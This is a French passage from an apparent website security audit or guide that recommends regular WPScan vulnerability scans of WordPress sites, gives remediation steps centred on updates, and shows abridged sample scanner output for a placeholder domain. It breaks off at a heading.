Contrairement aux applications web sur mesure développées pour des besoins spécifiques, l’identification et le traitement des vulnérabilités de sécurité doivent être effectués à l’aide de méthodes adaptées à WordPress.
Si un site construit avec WordPress n’a pas été fortement personnalisé et conserve la nature de WordPress, les vulnérabilités de sécurité peuvent être facilement vérifiées à l’aide de WPScan.
WPScan est un logiciel partiellement payant, mais le niveau gratuit de base ne présente aucune limitation fonctionnelle. Il permet une vérification et une réponse régulières aux vulnérabilités de sécurité de WordPress.
**Remédiation :**
- Effectuez des vérifications régulières des vulnérabilités à l’aide de WPScan (ou d’outils similaires capables de scanner WordPress).
- Si des vulnérabilités sont trouvées, vérifiez et effectuez les actions nécessaires pour les éliminer. Dans la plupart des cas, cela est résolu par des mises à jour.
- Référez-vous à la [documentation utilisateur de WPScan](https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation).
- Plus d’informations sur les vulnérabilités courantes souvent trouvées dans WordPress : [Extending WordPress Common Security Vulnerabilities](https://learn.wordpress.org/tutorial/extending-wordpress-common-security-vulnerabilities/)
**WPScan :**```
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://yourwordpress.com/ [192.168.10.100]
[+] Started: Fri May 24 14:39:06 2024
Interesting Finding(s):
[+] Headers
..
...
| - content-security-policy: upgrade-insecure-requests
| Found By: Headers (Passive Detection)
| Confidence: 100%
..
...
[+] XML-RPC seems to be enabled: https://yourwordpress.com/xmlrpc.php
| Found By: Link Tag (Passive Detection)
| Confidence: 30%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
..
...
[+] Finished: Fri May 24 14:39:48 2024
[+] Requests Done: 187
[+] Cached Requests: 7
[+] Data Sent: 56.32 KB
[+] Data Received: 605.595 KB
[+] Memory used: 276.602 MB
[+] Elapsed time: 00:00:42
mb_send_mail :